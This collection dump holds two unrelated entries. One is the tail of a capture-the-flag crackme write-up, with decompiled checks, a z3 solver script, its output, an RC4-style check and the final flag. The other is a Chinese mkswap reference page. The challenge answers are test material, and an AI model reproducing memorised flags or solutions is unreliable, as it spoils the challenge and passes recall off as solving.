&& 1429 * v8+ 1705 * v10+ 1948 * v3+ 1652 * v22+ 1814 * v19+ 2072 * v4+ 1838 * v24+ 2036 * v16+ 2375 * v13+ 2565 * v15+ 3173 * v7+ 3141 * v18+ 3426 * v5+ 3404 * v9+ 3256 * v21+ 3606 * v6+ 3626 * v11+ 3812 * v12+ 1015 * v27+ 3736 * v17+ 1230 * v29+ 3936 * v23+ 3994 * v20+ 2131 * v28+ 2355 * v26+ 3011 * v32+ 3482 * v25+ 3625 * v31+ 3637 * v33+ 3841 * v30+ 1093 * (v14 + 2 * v34) == 6958794
&& 1028 * v24+ 1148 * v19+ 1109 * v23+ 1416 * v9+ 1634 * v6+ 2233 * v13+ 2262 * v12+ 2353 * v8+ 2303 * v15+ 2213 * v22+ 2452 * v10+ 2690 * v3+ 2650 * v4+ 2893 * v7+ 3008 * v11+ 3124 * v20+ 3256 * v18+ 3303 * v17+ 3454 * v14+ 3662 * v5+ 1080 * v26+ 1050 * v29+ 1155 * v30+ 1318 * v27+ 1264 * v32+ 1676 * v34+ 2361 * v31+ 2858 * v28+ 3200 * v25+ 3903 * v33+ 1317 * (v21 + 2 * v16) == 5945386
&& 1003 * v22+ 1561 * v6+ 1674 * v11+ 1831 * v15+ 1948 * v8+ 1923 * v14+ 1878 * v17+ 1781 * v24+ 2008 * v19+ 1945 * v23+ 2282 * v9+ 2489 * v7+ 2369 * v16+ 2653 * v10+ 2619 * v20+ 3220 * v12+ 3259 * v18+ 3402 * v13+ 3643 * v3+ 3909 * v4+ 3902 * v5+ 3971 * v21+ 1392 * v26+ 1410 * v34+ 1698 * v29+ 1722 * v31+ 2037 * v33+ 2313 * v28+ 3504 * v25+ 3589 * v30+ 3685 * v27+ 3938 * v32 == 6697494
&& 1058 * v13+ 1234 * v4+ 1117 * v17+ 1039 * v22+ 1212 * v23+ 1508 * v5+ 1493 * v8+ 1330 * v21+ 1555 * v19+ 1961 * v6+ 1959 * v7+ 1937 * v11+ 2269 * v10+ 2461 * v3+ 2215 * v18+ 2515 * v9+ 2869 * v12+ 2815 * v20+ 2971 * v15+ 3264 * v16+ 3288 * v24+ 3700 * v14+ 1484 * v29+ 1541 * v34+ 1774 * v30+ 2082 * v25+ 2085 * v27+ 2954 * v26+ 2951 * v33+ 3380 * v31+ 3710 * v28+ 3815 * v32 == 5896567
&& 1028 * v19+ 1363 * v18+ 1788 * v8+ 1790 * v16+ 1778 * v21+ 1941 * v15+ 2008 * v14+ 2184 * v20+ 2200 * v22+ 2679 * v4+ 2689 * v12+ 2898 * v6+ 2723 * v17+ 3073 * v7+ 3110 * v5+ 2885 * v24+ 3113 * v13+ 3071 * v23+ 3977 * v9+ 3956 * v11+ 1629 * v34+ 1676 * v33+ 1974 * v25+ 2071 * v26+ 2867 * v28+ 3153 * v29+ 3168 * v31+ 3333 * v27+ 3295 * v30+ 3825 * v32+ 1132 * v10+ 1115 * v3 == 6410858
&& 1080 * v8+ 1309 * v5+ 1249 * v10+ 1726 * v20+ 1681 * v23+ 1816 * v18+ 2116 * v9+ 2650 * v3+ 2528 * v12+ 2693 * v6+ 2686 * v7+ 2516 * v19+ 2666 * v21+ 2864 * v14+ 2964 * v24+ 3087 * v22+ 3405 * v16+ 3421 * v15+ 3598 * v4+ 3667 * v11+ 3679 * v13+ 1021 * v27+ 3826 * v17+ 1064 * v30+ 2340 * v25+ 3309 * v31+ 3415 * v32+ 3686 * v26+ 3662 * v28+ 3721 * v29+ 3873 * v34+ 3902 * v33 == 7041898 )
{
if ( ++v1 >= 10 )
return 1;
}
return 0;
}
```
Which is pretty easily z3-able:
```python
import z3
def main():
s = z3.Solver()
v3 = z3.Int('v3')
v4 = z3.Int('v4')
v5 = z3.Int('v5')
v6 = z3.Int('v6')
v7 = z3.Int('v7')
v8 = z3.Int('v8')
v9 = z3.Int('v9')
v10 = z3.Int('v10')
v11 = z3.Int('v11')
v12 = z3.Int('v12')
v13 = z3.Int('v13')
v14 = z3.Int('v14')
v15 = z3.Int('v15')
v16 = z3.Int('v16')
v17 = z3.Int('v17')
v18 = z3.Int('v18')
v19 = z3.Int('v19')
v20 = z3.Int('v20')
v21 = z3.Int('v21')
v22 = z3.Int('v22')
v23 = z3.Int('v23')
v24 = z3.Int('v24')
v25 = z3.Int('v25')
v26 = z3.Int('v26')
v27 = z3.Int('v27')
v28 = z3.Int('v28')
v29 = z3.Int('v29')
v30 = z3.Int('v30')
v31 = z3.Int('v31')
v32 = z3.Int('v32')
v33 = z3.Int('v33')
v34 = z3.Int('v34')
s.add(1040 * v5 + 1106 * v4 + 1006 * v15 + 1288 * v3 + 1084 * v21 + 1350 * v14 + 1370 * v13 + 1446 * v9 + 1393 * v17 + 1548 * v18 + 1729 * v12 + 1623 * v20 + 1890 * v11 + 1756 * v23 + 2101 * v16 + 2264 * v7 + 2648 * v8 + 2629 * v19 + 2954 * v22 + 3805 * v10 + 3942 * v6 + 3840 * v24 + 1538 * v34 + 1626 * v31 + 2376 * v26 + 2931 * v27 + 2966 * v25 + 2944 * v29 + 3308 * v28 + 3323 * v32 + 3439 * v30 + 3537 * v33 == 5584337)
s.add(1724 * v8 + 1191 * v12 + 1350 * v5 + 1287 * v16 + 1430 * v10 + 1457 * v15 + 1588 * v24 + 2031 * v3 + 1753 * v17 + 1758 * v22 + 2150 * v6 + 2107 * v11 + 2383 * v18 + 2941 * v7 + 2966 * v9 + 3209 * v21 + 3337 * v14 + 3909 * v20 + 3945 * v19 + 1422 * v25 + 1506 * v27 + 1762 * v33 + 1946 * v26 + 1900 * v31 + 2030 * v28 + 2413 * v29 + 2655 * v34 + 3168 * v30 + 3591 * v32 + 1221 * v23 + 1007 * v13 + 1052 * v4 == 5610974)
s.add(1467 * v4 + 1464 * v12 + 1491 * v18 + 1961 * v17 + 2169 * v7 + 2145 * v14 + 3358 * v10 + 3281 * v15 + 3500 * v6 + 3478 * v9 + 3391 * v23 + 3436 * v22 + 3705 * v13 + 3604 * v24 + 1153 * v26 + 3962 * v11 + 3942 * v20 + 1292 * v27 + 3995 * v19 + 1382 * v28 + 1716 * v30 + 1726 * v34 + 1902 * v25 + 2718 * v31 + 2895 * v32 + 3421 * v29 + 3447 * v33 + 2827 * (v21 + v16) + 1724 * v8 + 1334 * v5 + 1041 * v3 == 6528434)
s.add(1644 * v22 + 1894 * v10 + 1868 * v20 + 2253 * v19 + 2667 * v7 + 2703 * v11 + 2547 * v21 + 2664 * v16 + 2869 * v5 + 2711 * v18 + 2912 * v6 + 3035 * v9 + 3299 * v8 + 3538 * v4 + 3771 * v3 + 3673 * v15 + 3811 * v12 + 3662 * v23 + 1035 * v32 + 3757 * v24 + 1316 * v31 + 1529 * v29 + 1741 * v28 + 1778 * v30 + 1859 * v26 + 2190 * v33 + 2842 * v34 + 3037 * v25 + 3723 * v27 + 2322 * v13 + 1333 * v14 + 1141 * v17 == 6484666)
s.add(1270 * v21 + 1573 * v24 + 2118 * v3 + 1930 * v12 + 2115 * v8 + 2072 * v20 + 2541 * v6 + 2386 * v16 + 2639 * v9 + 2704 * v11 + 2673 * v15 + 2833 * v7 + 2929 * v5 + 2745 * v18 + 3082 * v4 + 2977 * v13 + 3021 * v17 + 3306 * v14 + 3658 * v10 + 3777 * v23 + 3829 * v22 + 1161 * v29 + 3924 * v19 + 1636 * v30 + 1574 * v34 + 1767 * v32 + 2290 * v28 + 2355 * v31 + 2512 * v26 + 3097 * v25 + 3655 * v33 + 3986 * v27 == 6823719)
s.add(1021 * v18 + 1359 * v4 + 1350 * v12 + 1483 * v8 + 1374 * v15 + 1348 * v19 + 1548 * v7 + 1624 * v5 + 1595 * v9 + 1602 * v11 + 1484 * v22 + 1836 * v14 + 2041 * v10 + 2291 * v13 + 2596 * v17 + 2668 * v21 + 2734 * v24 + 3020 * v16 + 3410 * v3 + 3199 * v20 + 3537 * v6 + 3281 * v23 + 1053 * v25 + 1127 * v31 + 1467 * v32 + 1728 * v33 + 1788 * v30 + 1900 * v29 + 1938 * v28 + 2999 * v26 + 3418 * v27 + 3893 * v34 == 5330889)
s.add(1224 * v21 + 1648 * v3 + 1303 * v20 + 1514 * v10 + 1617 * v8 + 1935 * v13 + 2483 * v4 + 2519 * v17 + 2616 * v12 + 2556 * v18 + 2813 * v9 + 2798 * v19 + 3008 * v22 + 3310 * v7 + 3309 * v11 + 3249 * v16 + 3421 * v6 + 3451 * v14 + 3600 * v15 + 3807 * v5 + 3609 * v24 + 1093 * v29 + 1195 * v27 + 3844 * v23 + 1523 * v31 + 1503 * v34 + 2587 * v32 + 3343 * v30 + 3314 * v33 + 3485 * v28 + 3702 * v26 + 3989 * v25 == 6888831)
s.add(1038 * v19 + 1157 * v14 + 1281 * v10 + 1179 * v20 + 1190 * v21 + 1191 * v24 + 1292 * v18 + 1618 * v6 + 1538 * v17 + 2009 * v13 + 2200 * v4 + 2448 * v3 + 2458 * v5 + 2589 * v11 + 2796 * v8 + 2958 * v23 + 3580 * v7 + 3472 * v15 + 3622 * v16 + 3657 * v22 + 1272 * v31 + 2156 * v27 + 2202 * v29 + 2646 * v34 + 2815 * v25 + 2888 * v26 + 3055 * v32 + 3328 * v33 + 3511 * v28 + 3634 * v30 + 3798 * (v9 + v12) == 6321788)
s.add(1651 * v14 + 1875 * v5 + 1881 * v11 + 1892 * v19 + 2021 * v15 + 2433 * v6 + 2416 * v10 + 2476 * v18 + 2886 * v4 + 2712 * v22 + 2998 * v12 + 3142 * v8 + 3362 * v3 + 3075 * v21 + 3510 * v24 + 3699 * v16 + 1003 * v25 + 3600 * v23 + 3844 * v9 + 1255 * v31 + 1789 * v30 + 2401 * v29 + 2423 * v32 + 2585 * v34 + 3002 * v33 + 3688 * v28 + 3861 * v27 + 3869 * (v26 + v7) + 2322 * v13 + 1557 * v17 + 1389 * v20 == 6796074)
s.add(1182 * v3 + 1088 * v5 + 1425 * v19 + 1434 * v21 + 1512 * v24 + 1832 * v9 + 1932 * v10 + 2169 * v11 + 2285 * v4 + 2426 * v6 + 2329 * v16 + 2617 * v7 + 2441 * v23 + 2555 * v20 + 2549 * v22 + 2721 * v13 + 2692 * v18 + 2976 * v15 + 3154 * v12 + 3189 * v14 + 3368 * v17 + 3757 * v8 + 1060 * v26 + 1145 * v25 + 1423 * v30 + 1529 * v34 + 1718 * v27 + 1753 * v28 + 2139 * v29 + 2279 * v31 + 2687 * v33 + 2996 * v32 == 5803503)
s.add(1193 * v7 + 1114 * v17 + 1297 * v9 + 1263 * v22 + 1455 * v15 + 1488 * v13 + 1355 * v24 + 1949 * v6 + 2105 * v12 + 2286 * v11 + 2282 * v14 + 2549 * v3 + 2316 * v19 + 2866 * v5 + 2734 * v16 + 3195 * v8 + 3437 * v4 + 3416 * v10 + 3701 * v18 + 3671 * v20 + 3786 * v21 + 1756 * v32 + 1912 * v27 + 2185 * v25 + 2321 * v33 + 2558 * v34 + 2808 * v28 + 2832 * v29 + 3053 * v26 + 3945 * v30 + 2313 * (v31 + v23) == 6283755)
s.add(1044 * v15 + 1481 * v5 + 1659 * v16 + 1982 * v4 + 2144 * v6 + 2129 * v9 + 2466 * v14 + 2745 * v23 + 3196 * v7 + 3161 * v10 + 3024 * v20 + 3222 * v8 + 3173 * v13 + 3154 * v21 + 3253 * v19 + 3292 * v17 + 3646 * v3 + 3450 * v12 + 3535 * v11 + 3439 * v18 + 3510 * v22 + 3649 * v24 + 1787 * v31 + 1905 * v32 + 2022 * v28 + 2186 * v25 + 2474 * v27 + 2391 * v34 + 3018 * v30 + 3168 * v29 + 3313 * v26 + 3958 * v33 == 7038880)
s.add(1314 * v7 + 1372 * v11 + 1625 * v4 + 2202 * v3 + 2070 * v14 + 2414 * v6 + 2297 * v16 + 2487 * v15 + 2518 * v17 + 2824 * v8 + 2874 * v10 + 2763 * v21 + 3159 * v12 + 2985 * v24 + 3177 * v18 + 3334 * v9 + 3477 * v5 + 3192 * v23 + 3270 * v20 + 3668 * v22 + 3833 * v13 + 1102 * v25 + 3773 * v19 + 1527 * v31 + 2099 * v30 + 2543 * v33 + 2627 * v28 + 2802 * v29 + 2924 * v34 + 3213 * v27 + 3480 * v26 + 3625 * v32 == 6980452)
s.add(1142 * v14 + 1432 * v8 + 1593 * v10 + 2003 * v7 + 2061 * v5 + 2031 * v12 + 1974 * v22 + 2064 * v17 + 2187 * v19 + 2286 * v16 + 2413 * v21 + 2725 * v11 + 3023 * v3 + 2900 * v18 + 3181 * v6 + 3222 * v15 + 3170 * v24 + 3270 * v23 + 3505 * v9 + 3360 * v20 + 3492 * v13 + 3972 * v4 + 1235 * v25 + 1140 * v33 + 1550 * v32 + 1833 * v26 + 1896 * v29 + 2285 * v31 + 2711 * v27 + 2667 * v30 + 2760 * v28 + 2694 * v34 == 6213703)
s.add(1119 * v19 + 1087 * v22 + 1624 * v4 + 1694 * v8 + 2019 * v5 + 2018 * v17 + 2060 * v23 + 2466 * v12 + 2484 * v16 + 2464 * v18 + 2658 * v9 + 2593 * v14 + 2678 * v13 + 3125 * v6 + 2926 * v24 + 3302 * v10 + 3371 * v11 + 3695 * v3 + 3576 * v7 + 1010 * v25 + 3851 * v15 + 1043 * v31 + 3800 * v21 + 1227 * v30 + 2164 * v33 + 2757 * v26 + 2758 * v32 + 3170 * v27 + 3109 * v34 + 3315 * v28 + 1576 * (v29 + 2 * v20) == 6470003)
s.add(1123 * v17 + 1487 * v6 + 1596 * v18 + 1902 * v15 + 2195 * v21 + 2261 * v20 + 2423 * v13 + 2264 * v23 + 2520 * v14 + 2627 * v10 + 2882 * v3 + 2928 * v12 + 3086 * v4 + 3260 * v24 + 3565 * v5 + 3577 * v7 + 3625 * v9 + 3629 * v11 + 3525 * v22 + 1202 * v25 + 3962 * v16 + 1153 * v33 + 1411 * v31 + 1520 * v34 + 1771 * v30 + 2547 * v32 + 3030 * v27 + 3011 * v29 + 3116 * v26 + 3326 * v28 + 1737 * (v19 + 2 * v8) == 6591297)
s.add(1188 * v5 + 1439 * v20 + 1763 * v6 + 1900 * v11 + 1760 * v22 + 1958 * v13 + 2007 * v16 + 2200 * v18 + 2357 * v23 + 2829 * v10 + 2940 * v7 + 3058 * v19 + 3365 * v15 + 3303 * v21 + 3477 * v17 + 3790 * v3 + 3578 * v14 + 3713 * v12 + 3851 * v8 + 3924 * v4 + 1113 * v27 + 1477 * v25 + 1384 * v34 + 1993 * v33 + 2428 * v32 + 2801 * v29 + 2850 * v30 + 3108 * v26 + 3460 * v31 + 3887 * v28 + 1662 * (v9 + 2 * v24) == 6764513)
s.add(1540 * v4 + 1357 * v16 + 1835 * v7 + 1823 * v11 + 2111 * v5 + 1896 * v23 + 2405 * v3 + 2022 * v24 + 2357 * v18 + 2704 * v6 + 2626 * v15 + 3356 * v8 + 3350 * v10 + 3271 * v20 + 3337 * v19 + 3485 * v12 + 3361 * v22 + 3556 * v13 + 3526 * v17 + 1041 * v30 + 1129 * v32 + 3869 * v21 + 1229 * v33 + 1423 * v31 + 1696 * v28 + 1717 * v27 + 2112 * v26 + 2565 * v34 + 3617 * v25 + 3585 * v29 + 1072 * (v14 + v9 + 2 * v14) == 6224197)
s.add(1457 * v13 + 1584 * v9 + 1654 * v11 + 1911 * v19 + 1938 * v24 + 2296 * v5 + 2067 * v21 + 2532 * v15 + 2675 * v23 + 2962 * v8 + 2972 * v12 + 2848 * v22 + 3369 * v14 + 3483 * v18 + 3607 * v17 + 3734 * v10 + 3855 * v6 + 3635 * v20 + 3932 * v4 + 3963 * v16 + 1221 * v33 + 1459 * v31 + 1511 * v28 + 2142 * v26 + 2741 * v29 + 3223 * v25 + 3175 * v30 + 3754 * v27 + 3870 * v34 + 3825 * v32 + 1559 * v3 + 1053 * v7 == 7018874)
s.add(1205 * v5 + 1193 * v11 + 1300 * v22 + 1734 * v12 + 1881 * v21 + 1962 * v19 + 2279 * v9 + 2176 * v17 + 2626 * v3 + 2637 * v13 + 2701 * v10 + 2548 * v20 + 2783 * v6 + 2705 * v18 + 2934 * v4 + 2641 * v24 + 2993 * v16 + 3398 * v8 + 3534 * v14 + 3413 * v23 + 3556 * v15 + 3850 * v7 + 1443 * v34 + 1611 * v29 + 1855 * v26 + 1877 * v30 + 2142 * v27 + 2855 * v25 + 2752 * v33 + 3462 * v28 + 3424 * v31 + 3678 * v32 == 6717789)
s.add(1313 * v6 + 1145 * v24 + 1673 * v4 + 1610 * v10 + 1695 * v14 + 1818 * v9 + 1875 * v7 + 2040 * v5 + 2017 * v11 + 2296 * v3 + 2112 * v13 + 2169 * v15 + 2090 * v20 + 2497 * v21 + 2685 * v19 + 3072 * v8 + 3040 * v17 + 2990 * v23 + 3488 * v18 + 3589 * v22 + 3831 * v16 + 3932 * v12 + 1335 * v31 + 1651 * v27 + 2044 * v29 + 2314 * v26 + 2353 * v25 + 2605 * v34 + 3192 * v33 + 3258 * v30 + 3740 * v28 + 3759 * v32 == 6502052)
s.add(1181 * v4 + 1077 * v22 + 1467 * v15 + 1829 * v6 + 1813 * v19 + 2264 * v3 + 2240 * v18 + 2503 * v5 + 2561 * v13 + 2627 * v14 + 3129 * v17 + 3292 * v9 + 3174 * v20 + 3215 * v23 + 3549 * v11 + 3608 * v8 + 3556 * v12 + 3541 * v16 + 3775 * v7 + 3683 * v24 + 3997 * v10 + 1759 * v30 + 2027 * v33 + 2084 * v34 + 2824 * v27 + 3213 * v25 + 3392 * v29 + 3428 * v32 + 3670 * v31 + 3992 * v26 + 3601 * (v21 + v28) == 7439610)
s.add(1010 * v15 + 1221 * v11 + 1287 * v7 + 1164 * v19 + 1240 * v18 + 1498 * v5 + 1503 * v10 + 1489 * v17 + 1786 * v4 + 2075 * v3 + 1970 * v6 + 1704 * v24 + 2171 * v16 + 2663 * v12 + 2542 * v20 + 2619 * v21 + 2591 * v23 + 3363 * v14 + 3604 * v9 + 3706 * v13 + 3847 * v8 + 1098 * v33 + 1232 * v26 + 3913 * v22 + 1303 * v31 + 1750 * v27 + 2205 * v28 + 2539 * v30 + 2818 * v25 + 2975 * v29 + 3247 * v34 + 3422 * v32 == 5861762)
s.add(1262 * v14 + 1545 * v9 + 1540 * v20 + 1678 * v12 + 1944 * v18 + 1870 * v24 + 2584 * v3 + 2289 * v17 + 2318 * v23 + 2648 * v4 + 2508 * v22 + 2712 * v10 + 2769 * v13 + 2913 * v7 + 3075 * v8 + 2985 * v16 + 3245 * v21 + 3546 * v11 + 3519 * v15 + 3864 * v6 + 3971 * v5 + 1132 * v27 + 3865 * v19 + 1152 * v29 + 1472 * v28 + 1601 * v25 + 2087 * v30 + 2323 * v26 + 2570 * v31 + 3103 * v34 + 3763 * v32 + 3901 * v33 == 6606266)
s.add(1543 * v10 + 1637 * v14 + 1608 * v21 + 2347 * v11 + 2409 * v15 + 2588 * v19 + 2681 * v18 + 3015 * v7 + 2758 * v24 + 3088 * v12 + 3049 * v17 + 3423 * v3 + 3060 * v22 + 3342 * v20 + 3600 * v5 + 3565 * v8 + 3463 * v16 + 3969 * v6 + 3943 * v13 + 1067 * v34 + 1430 * v31 + 1690 * v28 + 1748 * v33 + 1843 * v30 + 2620 * v32 + 2949 * v29 + 3146 * v27 + 3888 * v26 + 3954 * v25 + 1221 * v23 + 1527 * v4 + 1028 * v9 == 6637643)
s.add(1035 * v5 + 1185 * v7 + 1359 * v14 + 1748 * v12 + 1853 * v9 + 1766 * v16 + 2038 * v8 + 2001 * v24 + 2536 * v3 + 2411 * v21 + 2629 * v10 + 2923 * v13 + 2944 * v17 + 3226 * v6 + 3224 * v11 + 3257 * v15 + 3318 * v19 + 3355 * v23 + 3783 * v4 + 3726 * v20 + 3955 * v18 + 1496 * v26 + 1515 * v28 + 1584 * v27 + 2142 * v33 + 2196 * v34 + 2549 * v25 + 3342 * v30 + 3913 * v32 + 3964 * v29 + 1025 * (v31 + v22 + 2 * v31) == 6620539)
s.add(1429 * v8 + 1705 * v10 + 1948 * v3 + 1652 * v22 + 1814 * v19 + 2072 * v4 + 1838 * v24 + 2036 * v16 + 2375 * v13 + 2565 * v15 + 3173 * v7 + 3141 * v18 + 3426 * v5 + 3404 * v9 + 3256 * v21 + 3606 * v6 + 3626 * v11 + 3812 * v12 + 1015 * v27 + 3736 * v17 + 1230 * v29 + 3936 * v23 + 3994 * v20 + 2131 * v28 + 2355 * v26 + 3011 * v32 + 3482 * v25 + 3625 * v31 + 3637 * v33 + 3841 * v30 + 1093 * (v14 + 2 * v34) == 6958794)
s.add(1028 * v24 + 1148 * v19 + 1109 * v23 + 1416 * v9 + 1634 * v6 + 2233 * v13 + 2262 * v12 + 2353 * v8 + 2303 * v15 + 2213 * v22 + 2452 * v10 + 2690 * v3 + 2650 * v4 + 2893 * v7 + 3008 * v11 + 3124 * v20 + 3256 * v18 + 3303 * v17 + 3454 * v14 + 3662 * v5 + 1080 * v26 + 1050 * v29 + 1155 * v30 + 1318 * v27 + 1264 * v32 + 1676 * v34 + 2361 * v31 + 2858 * v28 + 3200 * v25 + 3903 * v33 + 1317 * (v21 + 2 * v16) == 5945386)
s.add(1003 * v22 + 1561 * v6 + 1674 * v11 + 1831 * v15 + 1948 * v8 + 1923 * v14 + 1878 * v17 + 1781 * v24 + 2008 * v19 + 1945 * v23 + 2282 * v9 + 2489 * v7 + 2369 * v16 + 2653 * v10 + 2619 * v20 + 3220 * v12 + 3259 * v18 + 3402 * v13 + 3643 * v3 + 3909 * v4 + 3902 * v5 + 3971 * v21 + 1392 * v26 + 1410 * v34 + 1698 * v29 + 1722 * v31 + 2037 * v33 + 2313 * v28 + 3504 * v25 + 3589 * v30 + 3685 * v27 + 3938 * v32 == 6697494)
s.add(1058 * v13 + 1234 * v4 + 1117 * v17 + 1039 * v22 + 1212 * v23 + 1508 * v5 + 1493 * v8 + 1330 * v21 + 1555 * v19 + 1961 * v6 + 1959 * v7 + 1937 * v11 + 2269 * v10 + 2461 * v3 + 2215 * v18 + 2515 * v9 + 2869 * v12 + 2815 * v20 + 2971 * v15 + 3264 * v16 + 3288 * v24 + 3700 * v14 + 1484 * v29 + 1541 * v34 + 1774 * v30 + 2082 * v25 + 2085 * v27 + 2954 * v26 + 2951 * v33 + 3380 * v31 + 3710 * v28 + 3815 * v32 == 5896567)
s.add(1028 * v19 + 1363 * v18 + 1788 * v8 + 1790 * v16 + 1778 * v21 + 1941 * v15 + 2008 * v14 + 2184 * v20 + 2200 * v22 + 2679 * v4 + 2689 * v12 + 2898 * v6 + 2723 * v17 + 3073 * v7 + 3110 * v5 + 2885 * v24 + 3113 * v13 + 3071 * v23 + 3977 * v9 + 3956 * v11 + 1629 * v34 + 1676 * v33 + 1974 * v25 + 2071 * v26 + 2867 * v28 + 3153 * v29 + 3168 * v31 + 3333 * v27 + 3295 * v30 + 3825 * v32 + 1132 * v10 + 1115 * v3 == 6410858)
s.add(1080 * v8 + 1309 * v5 + 1249 * v10 + 1726 * v20 + 1681 * v23 + 1816 * v18 + 2116 * v9 + 2650 * v3 + 2528 * v12 + 2693 * v6 + 2686 * v7 + 2516 * v19 + 2666 * v21 + 2864 * v14 + 2964 * v24 + 3087 * v22 + 3405 * v16 + 3421 * v15 + 3598 * v4 + 3667 * v11 + 3679 * v13 + 1021 * v27 + 3826 * v17 + 1064 * v30 + 2340 * v25 + 3309 * v31 + 3415 * v32 + 3686 * v26 + 3662 * v28 + 3721 * v29 + 3873 * v34 + 3902 * v33 == 0x6B736A)
print(s.check())
print(s.model())
vars = [v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33,
v34]
print("".join([chr(int(str(s.model()[var]))) for var in vars]))
main()
```
```
λ c:\Python27\python.exe solve.py
sat
[v28 = 69, v12 = 69, v14 = 120,v21 = 89, v10 = 69, v20 = 69, v3 = 81, v29 = 70, v15 = 81, v30 = 66, v23 = 81, v32 = 122,v19 = 77, v7 = 79, v4 = 85, v11 = 78, v9 = 104, v5 = 81, v16 = 106,v24 = 48, v34 = 70, v26 = 67, v18 = 120,v33 = 82, v6 = 53, v25 = 86, v31 = 78, v22 = 52, v8 = 84, v17 = 81, v27 = 78, v13 = 89]
QUQ5OThENEYxQjQxMEY4Q0VCNEFBNzRF
```
The second one contains a heavily obfuscated implementation of the rc4 encryption algorithm and a hardcoded encrypted output and key.
```c++
signed int __stdcall sub_4040D0(int a1)
{
signed int v1; // eax
_BYTE *v2; // esi
signed int result; // eax
int v4; // [esp+8h] [ebp-278h]
int v5; // [esp+Ch] [ebp-274h]
int v6; // [esp+10h] [ebp-270h]
int v7; // [esp+14h] [ebp-26Ch]
int v8; // [esp+18h] [ebp-268h]
int v9; // [esp+1Ch] [ebp-264h]
int v10; // [esp+20h] [ebp-260h]
int v11; // [esp+24h] [ebp-25Ch]
int v12; // [esp+28h] [ebp-258h]
int v13; // [esp+2Ch] [ebp-254h]
int v14; // [esp+30h] [ebp-250h]
int v15; // [esp+34h] [ebp-24Ch]
int v16; // [esp+38h] [ebp-248h]
int (__thiscall **v17)(void *, char); // [esp+3Ch] [ebp-244h]
char v18; // [esp+40h] [ebp-240h]
char v19; // [esp+140h] [ebp-140h]
char v20; // [esp+258h] [ebp-28h]
int v21; // [esp+259h] [ebp-27h]
int v22; // [esp+25Dh] [ebp-23h]
int v23; // [esp+261h] [ebp-1Fh]
int v24; // [esp+265h] [ebp-1Bh]
int v25; // [esp+269h] [ebp-17h]
int v26; // [esp+26Dh] [ebp-13h]
int v27; // [esp+271h] [ebp-Fh]
int v28; // [esp+275h] [ebp-Bh]
v1 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v25 = 0;
v26 = 0;
v27 = 0;
v28 = 0;
do
{
*(&v20 + v1) = *(_BYTE *)(a1 + 4 * v1);
++v1;
}
while ( v1 < 32 );
v4 = 102;
v5 = 104;
v6 = 110;
v7 = 106;
v8 = 117;
v9 = 99;
v10 = 118;
v11 = 98;
v12 = 110;
v13 = 106;
v14 = 117;
v15 = 116;
v16 = 114;
v2 = operator new[](0xEu);
result = 0;
if ( !v2 )
return result;
do
{
v2[result] = *((_BYTE *)&v4 + 4 * result) + 1;
++result;
}
while ( result < 13 );
v2[13] = 0;
v17 = &off_559B00;
memset(&v18, 0, 0x100u);
memset(&v19, 0, 0x100u);
sub_401160(v2);
do
{
while ( v20 != -57 )
;
}
while ( (_BYTE)v21 != 0x3C
|| BYTE1(v21) != 0x12
|| BYTE2(v21) != 9
|| HIBYTE(v21) != 7
|| (_BYTE)v22 != 0x8Eu
|| BYTE1(v22) != 0x88u
|| BYTE2(v22) != 0xB9u
|| HIBYTE(v22) != 0x18
|| (_BYTE)v23 != 0x94u
|| BYTE1(v23) != 0x4B
|| BYTE2(v23) != 0x6D
|| HIBYTE(v23) != 0x13
|| (_BYTE)v24 != 0x15
|| BYTE1(v24) != 0x81u
|| BYTE2(v24) != 0x5C
|| HIBYTE(v24) != 0xA5u
|| (_BYTE)v25 != 0xC7u
|| BYTE1(v25) != 0xD
|| BYTE2(v25) != 0x23
|| HIBYTE(v25) != 0xEFu
|| (_BYTE)v26 != 0x45
|| BYTE1(v26) != 0xECu
|| BYTE2(v26) != 0xC9u
|| HIBYTE(v26) != 0xB1u
|| (_BYTE)v27 != 5
|| BYTE1(v27) != 0xB6u
|| BYTE2(v27) != 0x84u
|| HIBYTE(v27) != 0x37
|| (_BYTE)v28 != 0x63
|| BYTE1(v28) != 0xDEu
|| BYTE2(v28) != 0xA5u );
result = 1;
return result;
}
```
Piece of cake: `MTQ0RDIxOUVGNUI5NDU5REE4RTFEMDNC`
All of this **finally** gave us the flag `9B819EC15B4EB8A1C5CA2390AE14E28987A+whitehat+AD998D4F1B410F8CEB4AA74E144D219EF5B9459DA8E1D03B268E25A14FB1DCC923870C05`
|
sec-knowleage
|
mkswap
===
建立和设置SWAP交换分区
## 补充说明
**mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。
### 语法
```shell
mkswap(选项)(参数)
```
### 选项
```shell
-c:建立交换区前,先检查是否有损坏的区块;
-f:在SPARC电脑上建立交换区时,要加上此参数;
-v0:建立旧式交换区,此为预设值;
-v1:建立新式交换区。
```
### 参数
设备:指定交换空间对应的设备文件或者交换文件。
### 实例
**查看系统swap space大小:**
```shell
free -m
total used free shared buffers cached
Mem: 377 180 197 0 19 110
-/+ buffers/cache: 50 327
Swap: 572 0 572
```
**查看当前的swap空间(file(s)/partition(s)):**
```shell
swapon -s
等价于
cat /proc/swaps
```
**添加交换空间**
添加一个 **交换分区** 或添加一个 **交换文件** 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件。
添加一个交换分区,步骤如下:
使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区:
```shell
mkswap /dev/sdb2
```
启用交换分区:
```shell
swapon /dev/sdb2
```
写入`/etc/fstab`,以便在引导时启用:
```shell
/dev/sdb2 swap swap defaults 0 0
```
添加一个交换文件,步骤如下:
创建大小为512M的交换文件:
```shell
dd if=/dev/zero of=/swapfile1 bs=1024 count=524288
```
使用mkswap命令来设置交换文件:
```shell
mkswap /swapfile1
```
启用交换分区:
```shell
swapon /swapfile1
```
写入`/etc/fstab`,以便在引导时启用:
```shell
/swapfile1 swap swap defaults 0 0
```
新添了交换分区并启用它之后,请查看`cat /proc/swaps`或free命令的输出来确保交换分区已被启用了。
**删除交换空间:**
禁用交换分区:
```shell
swapoff /dev/sdb2
```
从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。
|
sec-knowleage
|
